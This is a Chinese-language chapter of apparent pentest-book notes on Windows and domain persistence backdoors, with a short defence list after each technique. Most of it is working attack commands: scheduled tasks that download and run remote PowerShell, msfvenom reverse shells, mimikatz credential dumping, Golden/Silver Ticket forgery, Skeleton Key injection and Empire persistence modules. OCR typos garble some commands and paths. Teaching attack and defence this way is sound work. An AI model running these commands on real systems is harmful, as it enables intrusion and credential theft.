第8章 權限維持分析及防御
目錄
8.3.7 Hook PasswordChangeNotify
第8章權限維持分析及防御
后門是一個留在目標主機上的軟件,它可以使攻擊者隨時與目標主機進行連接。在大多數情況下,后門是一個運行在目標主機上的隱藏進程。因為后門可能允許一個普通的授權的用戶控制計算機,所以攻擊者經常使用后門來控制服務器。攻擊者在提升權限之后,往往會通過建立后門來維持對目標主機的控制權。這樣一來,即使修復了被攻擊者利用的系統漏洞,攻擊者還是可以通過后門繼續控制目標系統。因此如果我們能夠了解攻擊者在系統中建立后門的方法和思路,就可以在發現系統被人侵后快速找到攻擊者留下的后門並將其清除。
8.1操作系統后門分析與防范
操作系統后門,泛指繞過目標系統安全控制體系的正規用戶認證過程來維持對目標系統的控制權及隱匿控制行為的方法。系統維護人員可以清除操作系統中的后門,以恢復目標系統安全控制體系的正規用戶認證過程。
8.1.1粘滯鍵后門
粘滯鍵后門是一種比較常見的持續控制方法。在Windors主機上連續按5次"Shit" 健,就可以調出粘滯鍵。Windws 的粘滯鍵主要是為無法同時按多個按鍵的用戶設計的,例如,在使用組合健Curl+P時用戶需要同時按下"Cur"和P兩個鍵,如果使用粘滯鍵來實現組合鍵"Ctrl+P"的功能,就只需按一個鍵。
粘滯鍵指的是電腦使用中的一種快捷鍵,專為同時按下兩個或多個鍵有困難的人而設計的。粘滯鍵的主要功能是方便Shift等鍵的組合使用。 粘滯鍵可以先按一個鍵位(如shift),再按另一鍵位,而不是同時按下兩個鍵位,方便某些因身體原因而無法同時按下多鍵的人。一般的電腦連按五次shift會出現粘滯鍵提示。
用可執行文件sethe.exe.bak替換windows\system32目錄下的sethc.exe
-
cd windows\system32
-
move sethc.exe sethc.exe.bak
-
copy comd.exe sethc.exe #連續按5次shift鍵,將彈出命令行窗口。可以直接以system權限執行系統命令
使用empire
-
(Empire: VTHWYU2M) > usemodule lateral_movement/invoke_wmi_debugger
-
(Empire: powershell/lateral_movement/invoke_wmi_debugger) > info
-
(Empire: powershell/lateral_movement/invoke_wmi_debugger) > set Listener sec
-
(Empire: powershell/lateral_movement/invoke_wmi_debugger) > set ComputerName win7
-
(Empire: powershell/lateral_movement/invoke_wmi_debugger) > set TargetBinary sethc.exe
-
(Empire: powershell/lateral_movement/invoke_wmi_debugger) > execute
-
在目標系統上連續按5次 shift鍵觸發后門

針對粘滯鍵后門,可以采取如下防范措施。
- 在遠程登錄服務器時,連續按5次“"Shift” 鍵,判斷服務器是否被人侵。
- 拒絕使用setch.exe或者在“控制面板”中關閉“啟用粘滯鍵”選項。
補充下cmd的操作,注意替換默認的sethc.exe需要管理員權限:
如果我們有一個windows后門,只需要敲擊「shift」5次,就彈出一個命令行窗口,這樣就極大的方便了我們的工作效率。實際上,后門的存在就是為了方便工作的,只不過被黑客惡意利用罷了。由此可以見,網絡技術也是一枚雙刃劍,好壞全看執劍人。

第一步:設置所有者
這個實驗極其簡單,只需要做一點點小小的設置。首先找到sethc.exe文件,然后點擊屬性,選擇所有者,編輯,選擇當前所有者為Administrator 。

第二步:勾選完全控制
讓Administrator擁有完全控制權限,這樣就可以對它進行改名字,或者刪除。建議改名字,做完實驗再改回來。

第三步:復制cmd.exe
復制一份cmd.exe文件,改名成sethc.exe,這樣就大功告成了。

第四步:見證奇跡
可以在任何地方,任何時候,連續敲擊5次「shift」,就會彈出cmd.exe命令行窗口。

8.1.2注冊表注入后門
在普通用戶權限下,攻擊者會將需要執行的后門程序或者腳本路徑填寫到注冊表鍵HKCU:Sofware\Microsoft\Windows\CurrentVersion\Run中( 鍵名可以任意設置)。
在Empire下也可以實現這-功能。 輸人"usemodule persistence/userland/registry"命令,模塊運行后,會在目標主機的啟動項里增加一個命令。
-
(Empire: Y9XHUM1V) > usemodule persistence/userland/registry
-
(Empire: powershell/persistence/userland/registry) > set Listener sec
-
(Empire: powershell/persistence/userland/registry) > set RegPath HKCU:Software\Microsoft\Windows\CurrentVersion\Run
-
(Empire: powershell/persistence/userland/registry) > execute
-
-
當管理員登陸系統時,后門就會運行,反彈成功


殺毒軟件針對此類后門有專門的查殺機制,當發現系統中存在后門時會彈出提示框。根據提示內容,采取相應的措施,即可刪除此類后門。
8.1.3計划任務后門
計划任務在Windows7及之前版本的操作系統中使用at命令調用,在從Windows8 版本開始的操作系統中使用schtasks 命令調用。計划任務后門分為管理員權限和普通用戶權限兩種。管理員權限的后門可以設置更多的計划任務,例如重啟后運行等。
計划任務后門的基本命令如下。該命令表示每小時執行一次 notepad.exe。
schtasks /Create /tn Updater /tr notepad.exe /sc hourly /mo 1
常見的滲透測試平台中模擬計划任務后門進行安全測試的方法。
1.在Metaplont中模報計划任務后門
使用Poweshell payload web delivery模塊,可以模擬攻擊者在目標系統中快速建立會話的行為。因為該行為不會被寫人磁盤, 所以安全防護軟件不會對該行為進行檢測。
-
msf6 > use exploit/multi/script/web_delivery
-
msf6 exploit(multi/script/web_delivery) > set target 2
-
target => 2
-
msf6 exploit(multi/script/web_delivery) > set payload windows/meterpreter/reverse_tcp
-
payload => windows/meterpreter/reverse_tcp
-
msf6 exploit(multi/script/web_delivery) > set lhost 1.1.1.6
-
lhost => 1.1.1.6
-
msf6 exploit(multi/script/web_delivery) > set lport 443
-
lport => 443
-
msf6 exploit(multi/script/web_delivery) > set URIP
-
set URIPATH set URIPORT
-
msf6 exploit(multi/script/web_delivery) > set URIPATH /
-
URIPATH => /
-
msf6 exploit(multi/script/web_delivery) > exploit

在目標系統中輸入生成的后門代碼,生成新的會話
C:\Users\Administrator.US>schtasks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring("http://1.1.1.6:443/"))'" /sc onlogon /ru System

-
(1)用戶登錄
-
-
schtasks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring("http://1.1.1.6:443/ "))'" /sc onlogon /ru System
-
-
(2)系統啟動
-
schtasks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring("http://1.1.1.6:443/ "))'" /sc onstart /ru System
-
-
(3)系統空閑
-
schtasks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring("http://1.1.1.6:443/ "))'" /sc onidle /i 1
2.在PowerSploit中模擬計划任務后門
-
生成persistence.ps1,是計划任務執行的payload
-
PS C:\Users\Administrator.US\Downloads> Import-Module .\Persistence.psm1
-
$ElevateOptions = New-ElevatedPersistenceOption -ScheduleTask -OnIdle
-
$UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle
-
Add-PERSISTENCE -FilePath ./shuteer.ps1 -ElevatedPersistenceOption
-
$ElevatedOptions -UserPersistenceOption $UserOptions -Verbose
msfvenom -p windows/x64/meterpreter/reverse_https lhost=1.1.1.6 lport=443 -f psh-reflection -o shuteer.ps1
將上邊生成的persistence.ps1放到web服務器,在目標主機中執行。當主機處於空閑時,就會執行如下命令。反彈一個meterpreter會話。
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://1.1.1.6/Persistence.ps1');"
3.在empire中模擬計划任務后門
-
(Empire: KB5XYCVA) > usemodule persistence/elevated/schtasks
-
(Empire: powershell/persistence/elevated/schtasks) > set DailyTime 17:37
-
(Empire: powershell/persistence/elevated/schtasks) > set Listener sec
-
(Empire: powershell/persistence/elevated/schtasks) > execute

對計划任務后門,有效的防范措施是:安裝安全防護軟件並對系統進行掃描;及時為系統打補丁;在內網中使用強度較高的密碼。
8.1.6WMI型后門
看一個2015年的例子就明白了
0x05 WMI后門--本質上還是計划任務里執行ps1腳本,不知道計划任務里是否有添加,todo,EDR case需深入
在2015年的blackhat大會上Matt Graeber介紹了一種無文件后門就是用的WMI。這里可以利用一個工具powersploit,下面用它的Persistence模塊來示范一個簡單的例子。
Import-Module .PersistencePersistence.psm1 $ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM' $UserOptions = New-UserPersistenceOption -Registry -AtLogon Add-Persistence -FilePath .EvilPayload.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose
--------
WMI型后門只能由具有管理員權限的用戶運行。WMI型后門通常是用PowerShell編寫的可以直接從新的WMI屬性中讀取和執行后門代碼、給代碼加密。通過這種方法,攻擊者可以在系統中安裝一個具有持久性的后門,且不會在系統磁盤中留下任何文件。WMI型后門主要使用了WMI的兩個特征,即無文件和無進程。其基本原理是:將代碼加密存儲於WMI中,達到所謂的“無文件";當設定的條件被滿足時,系統將自動啟動PowerShell 進程去執行后門程序,執行后,進程將會消失(持續時間根據后門的運行情況而定,一般是幾秒).達到所謂的“無進程”。
在Empire下使用Invoke-WMI模塊。
-
(Empire: KB5XYCVA) > usemodule persistence/elevated/wmi
-
(Empire: powershell/persistence/elevated/wmi) > info
-
(Empire: powershell/persistence/elevated/wmi) > set DailyTime 17:45
-
(Empire: powershell/persistence/elevated/wmi) > set Listener sec
-
(Empire: powershell/persistence/elevated/wmi) > run

檢查目標主機主是否存在WMI后門
-
PS C:\Users\Administrator.US\Downloads> Get-WmiObject - Namespace root\Subscription - Class CommandLineEventConsumer -FILT
-
ER "Name='Updater'"

清除WMI后門得到方法:刪除自動運行列表中的惡意WMI條目,在powershell中用get-wmiobject命令刪除與WMI持久化的組件。
8.2 Web后門分析與防范
Web后門俗稱WebShell,是一段包含 ASP、ASP.NET、PHP、JSP程序的網頁代碼。這些代碼都運行在服務器上。攻擊者會通過一-段精心設計的代碼, 在服務器上進行一些危險的操作, 以獲取某些敏感的技術信息,或者通過滲透和提權來獲得服務器的控制權。IDS、殺毒軟件和安全工具一般都能將攻擊者設置的Web后門檢測出來。不過,有些攻擊者會編寫專用的Web后門來隱藏自己的行為。
8.2.1Nishang下的WebShell
8.2.2 weevely 后門
weevely 是款用 Python語言編寫的針對PHP平台的WebShell 其主要功能如下。
- 執行命令和測覽遠程文件。
- 檢測常見的服務器配置問題。
- 創建TCP Shell和Reverse Shell,
- 打掃描端口。
- 安裝HTTP代理。
-
weevely url password cmd #連接一句話
-
weevely session path cmd #加載會話文件
-
weevely generate password path 生成后門代理
生成一句話並上傳至目標服務器
-
weevely generate test test.php
-
-
weevely http://1.1.1.6/test.php test

-
audit_suidsgid 通過SUID和SGID查找文件,
-
audit_filesystem 用於進行錯誤權限審計的系統文件。
-
audit_etcpasswd 通過其他方式獲取的密碼,
-
shell_php 執行PHP命令。
-
shell_sh 執行Shell命令。
-
shell_su 利用su命令提權。
-
system_extensions 收集PHP和Web服務器的延伸列表,
-
system_info 收集系統信息。
-
backdoor_tcp 在TCP端口處生成一個后門。
-
sql_dump 導出數據表。
-
sql_console 執行 SQL查詢命令或者啟動控制台。
-
net_ifconfig 獲取目標網絡的地址。
-
net_proxy 通過本地HTTP端口設置代理。
-
net_scan 掃描TCP端口。
-
net_curl 遠程執行HTTP請求。
-
net_phpproxy 在目標系統中安裝PHP代理。

8.3域控制器權限持久化與分析
在獲得域控制器的權限后,攻擊者通常會對現有的權限進行持久化操作。本節將分所攻擊者在擁有域管理員權限后將權限持久化的方法,並給出相應的防范措施。
8.3.1 DSRM 域后門
1. DSRM域后門簡介
DSRM ( Directory Services Restore Mode,目錄服務恢復模式)是Windows域環境中域控制器的安全模式啟動選項。每個域控制器都有一個本地管理員賬戶 (也就是DSRM賬戶)。DSRM的用途是:允許管理員在域環境中出現故障或崩潰時還原、修復、重建活動目錄數據庫,使域環境的運行恢復正常。在域環境創建初期,DSRM的密碼需要在安裝DC時設置,且很少會被重置。修改DSRM密碼最基本的方法是在DC上運行ntdsutil 命令行工具。在滲透測試中,可以使用DSRM賬號對域環境進行持久化操作。如果域控制器的系統版本為Windows Server 2008,需要安裝KB961320才可以使用指定域賬號的密碼對DSRM的密碼進行同步。在Windows Server 2008以后版木的系統中不需要安裝此補丁。如果域控制器的系統版本為Windows Server 2003則不能使用該方法進行持久化操作。
我們知道,每個域控制器都有本地管理員賬號和密碼(與城管理員賬號和密碼不同)。DSRM賬號可以作為一個域控制器的本地管理品用戶, 通過網絡連接城控制器, 進而控制域控制器。
2.修改DSRM密碼的方法
微軟公布了修改DSRM密碼的方法。在城控制器上打開令行環境,常用命令說明如下,
-
NTDSUTIL: 打開ndsuil
-
set dsrm password:設置DSRM的密碼。
-
reset pssword on server null:在當前域控制器上恢復DSRM密碼。
-
<PASSWORD>:修改后的密碼。
-
q(第1次):退出DSRM密碼設置模式。
-
q(第2次):退出ntdsutil
如果域控制器的系統版本為Windows Server 208已安裝KB961320 及以上,可以將DSRM密碼同步為已存在的域賬號密碼。常用命令說明如下。
-
NTDSUTIL: 打開ntdsutil。
-
SET DSRM PASSWORD:設置DSRM的密碼。
-
SYNC FROM DOMAIN ACCOUNT domainusername:使DSRM的密碼和指定域用戶的密碼同步。
-
q(第1次):退出DSRM密碼設置模式。
-
q(第2次):退出ntdsutil。
3.實驗操作
(1)使用mimikatz查看krbtgt 的NTLM Hash在域控制器中打開mikaiz,分別輸人如下命令。
-
privilege::debug
-
lsadump::lsa /patch / name:krbtgt

(2)mimikatz查看並獲取SAM文件中本地管理員的NTML
-
token::elevate
-
lsadump::sam

(3)將DSRM賬號和krbtgt的NTML HASH同步
-
PS C:\Users\Administrator\Desktop> NTDSUTIL
-
C:\Windows\system32\ntdsutil.exe: SET DSRM PASSWORD
-
重置 DSRM 管理員密碼: SYNC FROM DOMAIN account krbtgt
-
已成功同步密碼。
-
-
重置 DSRM 管理員密碼: q
-
C:\Windows\system32\ntdsutil.exe: q

(4)查看DSRM的NTML Hash是否同步成功

(5)修改DSRM的登錄方式
DSRM的三種登錄方式,具體如下。
- 0:默認值,只有當城控制器重啟並進入DSRM模式時,才可以使用DSRM管理員賬號。
- 1: 只有當本地AD、DS服務停止時,才可以使用DSRM管理員賬號登錄域控制器。
- 2:在任何情況下,都可以使用DSRM管理員賬號登錄域控制器。
在滲透測試中需要注意,在Windows Server 2000以后版本的操作系統中,對DSRM使用控制台登錄域控制器進行了限制。
如果要使用DSRM賬號通過網絡登錄域控制器,需要將該值設置為2。輸人如下命令,可以使用PowerShell進行更改
New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD

(6)使用DSRM賬號通過網絡遠程登錄域控制器
使用mimikatz進行哈希傳遞
-
privilege::debug
-
sekurlsa::pth /domain:WIN-2012 /user:Administrator /ntml:6c4a2964d522d7160865d90f88392aac
(7)使用Mimikatz的scysnc功能遠程轉儲krbtgt的NTML Hash
lsadump::dcsync /domain:pentest.com /dc:dc /user:krbtgt
DSRM域后門的防御措施
- 定期檢查注冊表中用於控制DSRM登錄方式的鍵值hklm:\system\currentcontrolset\control\lsa\確認該鍵值為1, 或者刪除該鍵值。==》EDR case
- 定期修改城中所有城控制器的DSRM賬號。
- 經常檢查ID為4794的日志。當試設置活動目錄服務還原模式的管理員密碼會被記錄在4794日志中。==》EDR case
8.2 SSP 維持域控權限
SSP(Security Support Provider)是Windows操作系統安全機制的提供者。簡單地說,SSP是個DlL文件,主要用來實現Windows操作系統的身份認證功能,例如NTLM、Ketberos,Negotiare. Seure Channe (Schannel )、Digest、Credental ( CredSSP )。
SSPI ( Security Support Provider Interfce.安全支持提供程序接口)是Windows操作系統在執行認證操作時使用的API接口。可以說,SSPI是SSP的API接口。
如果獲得了網絡中目標機器的System權限,可以使用該方法進行持久化操作。其主要原理是: LSA (Local Security Authority)用於身份驗證; lsass.exe 作為Windows的系統進程,用於本地安全和登錄策略;在系統啟動時,SSP 將被加載到lsass.exe進程中。但是,假如攻擊者對LSA進行了擴展,自定義了惡意的DLL文件,在系統啟動時將其加載到lsass.exe進程中,就能夠獲取lsass.exe進程中的明文密碼。【進程注入?】這樣,即使用戶更改密碼並重新登錄,攻擊者依然可以獲取該賬號的新密碼。
第一個實驗是使用mimikatz將偽造的SSP注人內存。這樣做不會在系統中留下二進制文件,但如果域控制器重啟,被注人內存的偽造的SSP將會丟失。在實際網絡維護中,可以針對這一點采取相應的防御措施。
-
privilege::debug
-
misc::memssp
注銷當前用戶。輸入用戶名和密碼后重新登錄,獲取明文密碼,密碼存儲在日志文件C:\Windows\System32\mimilsa.log中。


第二個實驗是將mimikatz中的mimilib.dll放到系統的C:\Windows\System32\目錄下,並將mimilib添加到注冊表中。使用這種方法,系統重啟也不會影響持久化的效果。
將mimikatz中的mimilib.dll復制到系統的C:\Windows\System32\目錄下
修改HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa/Security Packages 項,加載新的DLL文件
2. SSP維持域控制器權限的防御措施
- 檢查HKEY LOCAL MCNSSrCnContooCotroro sScrt Packages 項中是否含有可疑的DLL文件。
- 檢查C:WindowsSystem32\目錄下是否有可疑的DLL文件。
- 使用第三方工具檢查LSA中是否有可疑的DLL文件。==》EDR case
8.3.3 SID History域后門
每個用戶都有自己的SID。SID的作用主要是跟蹤安全主體控制用戶連接資源時的訪問權限。SID History是在域遷移過程中需要使用的個屬性。如果將A域中的域用戶遷移到B域中,那么在B域中新建的用戶的SID會隨之改變,進而影響遷移后用戶的權限,導致遷移后的用戶不能訪問本來可以訪問的資源。SID History的作用是在域遷移過程中保持域用戶的訪問權限,即如果遷移后用戶的SID改變了,系統會將其原來的SID添加到遷移后用戶的SID History屬性中,使遷移后的用戶保持原有權限、能夠訪問其原來可以訪問的資源。使用mikaz,可以將SID History 屬性添加到域中任意用戶的SID History 屬性中。在滲透測試中,如果獲得了域管理員權限(或者等同於域管理員的權限).就可以將SIDHisoy作為實現持久化的方法。
1.實驗操作
將Anisatorn的SID添加到惡意用戶test 的SID History屬性中。使用powershell查看用戶的SID History屬性==》可疑的powershell進程。。。
-
PS C:\Users\Administrator > Import - Module ActiveDirectory
-
PS C:\Users\Administrator > Get -ADUser test -Properties sidhistory

打開一個具有域管理員權限的命令行窗口,然后打開mimikatz將Admnistrator的SID添加到test用戶的SID Histery 屬性中。需要注意的是:在使用mimikatz注人SID之前,需要使用*sid ::patch"命令修復NTDS服務,否則無法將高權限的SID注人低權限用戶的SID
Hisory屬性: mimkaz在2.1版本以后,將mscasidd模塊轉移到了sid::add模塊下。
-
privilege::debug
-
sid::add /sam:test / new:Administrator
再次使用PowerShell查看test用戶的SID History,嘗試列出域控制器C盤的目錄 dir \\dc\c$
2.SID History域后門的防御措施
- 可以通過注入 SID History屬性完成持久化任務。
- 擁有高權限 SID的用戶,可以使用PowerShell遠程導出域控制器的ntds.dit。
- 如果不再需要通過 SID History屬性實現持久化,可以使用sid::clear /sam:username 清除SID History的屬性。
SID History域后門的防御措施如下。
- 經常查看域用戶中SID為500的用戶。
- 完成域遷移工作后,對有相同SID History屬性的用戶進定期檢查ID為4765和4766的日志。4765為將 SID Histtory屬性添加到用戶的日志。4766為將SID History屬性添加到用戶失敗的日志。==》數據采集
8.3.4 Golden Ticket
在滲透測試過程中,如果發現系統中存在惡意行為,應及時更改域管理員密碼,對受控機器進行斷網處理,然后進行日志分析及取證。然而,攻擊者往往會給自己留下多條進入內網的通道,如果我們忘記將krbtgt 賬號重置,攻擊者就能快速重新那會域控制器權限。
在本節的實驗中,假設域內存在一個SID為502的域賬號krbtgt。 krbtgt是 KDC服務使用的賬號,屬於Domain Admins組。在域環境中,每個用戶賬號的票據都是由krbtgt生成的,如果攻擊者拿到了krbtgt 的 NTLM Hash或者 AES-256值,就可以偽造域內任意用戶的身份,並以該用戶的身份訪問其他服務。攻擊者在使用域的 Golden Ticket(黃金票據)進行票據傳遞攻擊時,通堂要堂握以下信息。
- 需要偽造的域管理員用戶名。
- 完整的域名。
- 域SID。krbtgt 的 NTLM Hash或AES-256值。
下面通過一個實驗來分析 Golden Ticket
- 域控制器:1.1.1.13
- 域名:us.pentest.com
- 用戶名:administrator
- 密碼:123456Aa
域成員服務器
- 1.1.1.7
- 域名:us.pentest.com
- 用戶名:Administrator
1.導出krbtgt的NTML Hash
-
privilege::debug
-
lsadump::dcsync / domain:us.pentest.com / user:krbtgt
該方法使用DCSYNC功能遠程轉儲活動目錄中的ntds.dit。指定/user參數,可以只導出krbtgt賬號的信息。
2.獲取基本信息
-
(1)獲取域SID
-
wmic useracoount get name, id
-
-
(2)獲取當前用戶的sid
-
whoami /user
-
-
(3)查詢域管理員賬戶
-
net group "domain admins" /domain
-
-
(4)查詢域名
-
ipconfig /all
3.實驗操作
-
在獲取目標主機的權限后,查看當前用戶及其所屬的組。
-
net user Administrator /domain
-
-
dir \\dc\c$ 在注入票據前會提示權限不足。
-
-
(1)清空票據
-
kerberos::purge
-
-
(2)生成票據, 使用mimikatz生成包含krbtgt身份的票據
-
kerberos::golden /admin:Administrator /domain:us.pentest.com /sid: /krbtgt: /ticket:Administrator.kiribi
-
-
(3)傳 遞票據並注入內存
-
kerberos::ptt Administrator.kiribi
-
-
(4)檢索當前會話中的票據
-
kerberos::tgt
4.驗證權限
-
dir \\dc\c$
-
在當前會話中使用wmiexec.vbs驗證
-
cscript wmiexec.vbs /shell dc
-
-
-
使用krbtgt的AES-256生成票據並將其注入內存,也可以偽造用戶。
-
kerberos::golden /admin:Administrator /domain:us.pentest.com /sid: /aes256: /ticket:Administrator.kiribi
5. Golden Ticket 攻擊的防御措施
管理員通常會修改域管理員的密碼,但有時會忘記將 krbtgt密碼一並重置,所以,如果想防御 Golden Ticket攻擊,就需要將krbtgt密碼重置兩次。
使用Golden Ticket 偽造的用戶可以是任意用戶(即使這個用戶不存在)。因為 TGT的加密是由krbtgt完成的,所以,只要 TGT被krbtgt賬戶和密碼正確地加密,那么任意KDC使用krbtgt將TGT解密后,TGT中的所有信息都是可信的。只有在如下兩種情況下才能修改krbtgt密碼。
- 域功能級別從 Windows 2000或 Windows Server 2003提升至Windows Server 2008或WindowsServer 2012。在提升域功能的過程中,krbtgt的密碼會被自動修改。在大型企業中,域功能級別的提升耗時費力,絕大多數企業不會去提升自己的域功能級別,而這給 Golden Ticket攻擊留下了可乘之機。
- 用戶自行進行安全檢查和相關服務加固時會修改krbtgt 的密碼。
8.3.5 Silver Ticket
Silver Ticket(白銀票據不同於 Golden Ticket, Silver Ticket的利用過程是偽造TGS,通過已知的授權服務密碼生成一張可以訪問該服務的TGT。因為在票據生成過程中不需要使用KDC,所以可以繞過域控制器,很少留下日志。而Golden Ticket在利用過程中需要KDC頒發TGT,且在生成偽造的TGT 的20分鍾內,TGS不會對該TGT 的真偽進行校驗。
Silver Ticket 依賴於服務賬號的密碼散列值,這不同於 Golden Tickett賬號的密碼散列值,因此更加隱蔽。
Golden Ticket使用krbtgt賬號的密碼散列值,利用偽造高權限任意服務訪回權限的票據,從而獲得域控制器權限。而Silver Ticket會通過相應的服務賬號來偽造TGS,例如LDAP、 MSSQL、WinRM、 DNS、CIFS 等,范圍有限,只能獲取有限的權限。
Golden Ticket是由krbtgt賬號加密的,而Silver Ticket是由特定的服務賬號加密的。
擊者在使用si ide對內網進行攻擊時,需要掌握以下信息。
- 域名
- 域SID
- 目標服務器的FQDN
- 可利用的服務
- 服務賬號的NTLM Hash
- 需要偽造的用戶名
1實驗:使用Silver Ticket偽造CIFS服務權限
CIFS服務通常用於Windows主機之間的文件共享。
在本實驗中,首先使用當前域用戶權限,查詢對域控制器的共享目錄的訪問權限
-
dir \\dc\c$
-
-
mimikatz log "privilege::debg" "sekurlsa::logonpasswords" 獲取服務賬戶的NTML
-
-
klist purge 清空票據,防止干擾
-
-
-
使用偽造的silver ticket,在不能訪問域控制器共享目錄的機器中輸入
-
kerberos::golden /domain:us.pentest.com /sid: /target:pentest.com /service:cifs /ec4: /user:administrator /ptt
-
-
驗證權限
2.實驗:使用Silver Ticket偽造LDAP服務權限
在本實驗中,使用deyne從域控制器中獲取指定用戶的賬號和密碼散列值,例如krbtgt,測試以當前權限是否可以使用dcsync
-
lsadump::dcsync /dc:us.pentest.com /domain:pentest.com /user:krbtgt
-
獲取失敗,說明不能以當前權限進行dcsync操作

-
在域控中獲取服務賬號的NTML
-
mimikatz log "privilege::debug" "sekurlsa::logonpasswords"

-
klist purge
-
-
使用mimikatz生成偽造的Silver Ticket
-
kerberos::golden /domain:pentest.com /sid: /target:us.pentest.com /service LDAP /rc4: /user: test /ptt
-
-
lsadump::dcsync /dc:us.pentest.com /domain:pentest.com /user:krbtgt 再次查詢散列值
Silver Ticket還可用於偽造其他服務,例如創建和修改計划任務、使用WMI對遠程主機執行命令、使用PowerShell對遠程主機進行管理等
3. Silver Ticket攻擊的防御措施
- 在內網中安裝殺毒軟件,及時更新系統補丁。
- 使用組策略在域中進行相應的配置,限制mimikatz在網絡中的使用
- 計算機的賬號和密碼默認每30天更改次。 檢查該設置是否生效
8.3.6 Skeleton Key
使用Skeleton Key(萬能密碼),可以對域內權限進行持久化操作。
實驗環境
域名:lab.com
域控制器
- 主機名:dc
- 1.1.1.12
- administrator
成員服務器
- 主機名:win7
- 1.1.1.7
- 用戶名:test
1.在mimikatz中實驗Skeleton Key
-
dir \\ 1.1. 1.12\c $ #權限不足
-
-
net use \\ 1.1. 1.12\ipc $ "123456Aa" / user:pentest.lab\administrator
-
-
在 域控制器中管理員權限打開mimikatz,將Skeleton Key注入域控中的lsass.exe進程
-
privilege::debug
-
misc::skeleton
-
-
注入成功后,會在域內所有的賬號中添加一個Skeleton Key,默認密碼為mimikatz。接下來可以在域內任意用戶的身份,配合該Skeleton Key,進行域內身份驗證授權了。
-
在不使用域管理員原始密碼的情況下,使用注入的萬能密碼。
-
net use
-
net use \\ 1.1. 1.12\ipc $ /del /y
-
-
net use \\ 1.1. 1.12\ipc $ "mimikatz" / user:pentest.lab\administrator
-
dir \\dc\c$
2.在empire中使用Skeleton KEY
-
(Empire: agents) > interact KFSV7YB1
-
(Empire: KFSV7YB1) > usemodule persistence/misc/skeleton_key
-
(Empire: powershell/persistence/misc/skeleton_key) > execute
-
將skeleton_key注入后,empire提示可以通過mimikatz進入系統

3. Skeleton Key攻擊的防御措施
2014年,微軟在Windows操作系統中增加了LSA保護策略,以防止Isass.cxe進程被惡意注入。從而防止mimikatz在非允作的情況下提升到debug權限。通用的Skeleton Key的防御措施列舉如下。
- 域管理員用戶要設置強口令,確保惡意代碼不會在城控制器中執行。
- 在所有城用戶中啟用雙因子認證,例如智能卡認證。
- 啟動(例如應用程序白名單例如AppLocker以限制mimikatz在域控制器中的運行。
- 在日常網絡維護中注意以下方面,也可以有效防范Skeleton Key
- 只能在64位操作系統中使用,包括WinwnSren2012、Winds Sener 2012、Windows Sever 200 Windows Sever 2008 R2、WindowServer 2003 R2、Windows Server 2003。
- 只有具有城管理員權限的用戶可以將SleloKeo注人城控制器的lass cxe進程。
- Seleton Key被注人后,用戶使用現有的密碼仍然可以登錄系統。
- 因為Selcton Key是被注入lsass.exeexe進程的,所以它只存在於內存中。如果域控制器重啟,注人的Skeleton Key將會失效。
8.3.7 Hook PasswordChangeNotify
Hook PaswordChangeNoify的作用是當用戶修改密碼后在系統中進行同步。攻擊者可以利用該功能獲取用戶修改密碼時輸人的密碼明文。
在修改密碼時,用戶輸人新密碼后,LSA會調用PasswordFileter來檢查該密碼是否符合復雜性要求。如果密碼符合復雜性要求,LSA會調用PasswordChangeNotify,在系統中同步密碼。
1.實驗操作
分別輸人如下命令,使用Invoke RefletivePEIniection.psl將HookPasswordChange.dl注人內存,在目標系統中啟動管理員權限的PowerShell
-
Import - Module .\Invoke -ReflectivePEInjection.psl
-
Invoke -ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
修改用戶密碼
-
net user administrator 123
-
-
查看 c : \windows \temp \passwords.txt可以看到修改后的密碼
2. Hook PasswordChangeNotify的防御措施
使用Hook PasswordChangeNotify方法不需要重啟系統、不會在系統磁盤中留下DLL文件、不需要修改注冊表。如果PasswordChangeNotify被攻擊者利用,網絡管理員是很難檢測到的。所以,在日常網絡維護工作中,需要對PowerShell進行嚴格的監視,並啟用約束語言模式,對HookPasswordChangeNotify進行防御。
8.4 Nishang 下的腳本后門分析與防范
Nishang 是基於Porsthel的滲透測試工具,集成了很多框架、腳本及各種 Payload在Nishang環境中對一些腳本后門進行分析。
1. HTTP-Backdoor腳本
此腳本可以幫助攻擊者在目標主機上下載和執行Powershell腳本,接收來自第三方網站的指令,在內存中執行PowerShell腳本,其語法如下。
-
TTP-Backdoor -CheckURL http:// -PayloadURL http:// -MagicString start -StopString stop
-
-
CheckURL:給出一個URL地址。如果該地址存在,Magistring中的值就會執行Payload,下載並運行攻擊者的腳本。
-
-PayloadURL: 給出需要下載的PowerShell腳本的地址。
-
-StopString: 判斷是否存在CheckURL返回的字符串,如果存在則停止執行。
2.Add-ScrnSaveBackdoor
-
Add ScrnSaveBackdoor腳本可以幫助攻擊者 利用Windows的屏幕保護程序來安插一個隱藏的后門
-
-
Add-ScrnSaveBackdoor -Payload "powershe1l.exe -ExecutionPolicy Bypass -ncprofile -noexit -c Get-Process" ##執行Payload
-
-
Add-ScrnsaveBackdoor -PayloadURL http://192.168.254.1/Powerpreter.psm -Arguments HTTP-Backdoor http://... start123 stopthis #在PowerShell中執行一個HTTP-Backdoor腳本
-
-
Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.1/code exec.psl -PayloadURL:指定需要下載的腳本的地址。
-
-
Arguments:指定需要執行的函數及相關參數。
-
攻擊者也會使用msfvenom生成一個PowerShell, 然后執行如下命令,返回一個meterpreter。
-
-
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.254.226 -f powershell
